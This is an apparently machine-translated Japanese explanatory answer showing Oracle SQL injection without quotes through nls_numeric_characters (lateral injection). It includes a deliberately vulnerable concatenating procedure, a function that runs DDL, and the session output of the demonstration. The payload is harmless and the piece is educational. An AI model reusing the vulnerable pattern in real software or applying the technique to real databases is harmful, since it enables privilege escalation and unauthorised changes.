はい、パラメーターに引用符を付けずにSQLインジェクション攻撃を実行することができます。
これを行う方法は、数字や日付の処理方法を悪用するエクスプロイトを使用することです。セッションレベルで、日付または数値の形式を指定できます。これを操作することにより、任意のキャラクターを注入できます。
英国および米国のデフォルトでは、コンマを使用して数字の3桁ごとの区切り記号と小数点の完全な区切りが示されます。以下を実行することにより、これらのデフォルトを変更できます。
alter session set nls_numeric_characters = 'PZ';
これは、「P」が小数点になり、「Z」が桁区切り記号になることを意味します。そう:
0P01
0.01の数値です。ただし、関数P01を作成すると、数値変換の前にオブジェクト参照が取得されます。これにより、次のように、データベースで機能を実行して権限を増やすことができます。
基本的な「get by id」関数を作成します。
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
また、望ましくない処理を行う関数P01を作成します(この場合はテーブルを作成するだけですが、アイデアは得られます)。
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
そして、私たちは行ってもいいです:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
どこにも引用符はありませんが、「隠された」関数P01を実行してテーブルを作成することができましたt
!
実際にはこれを行うのは難しいかもしれませんが(内部の知識や助けが必要になるかもしれません)、これは引用符なしでSQLを注入できることを示しています。変更nls_date_format
同様のことを行うことができるようにすることができます。
元の数字の発見はDavid Litchfieldによるもので、彼の論文はこちらで読むことができます。ここで、日付がどのように活用されるかについてのTom Kyteの議論を見つけることができます。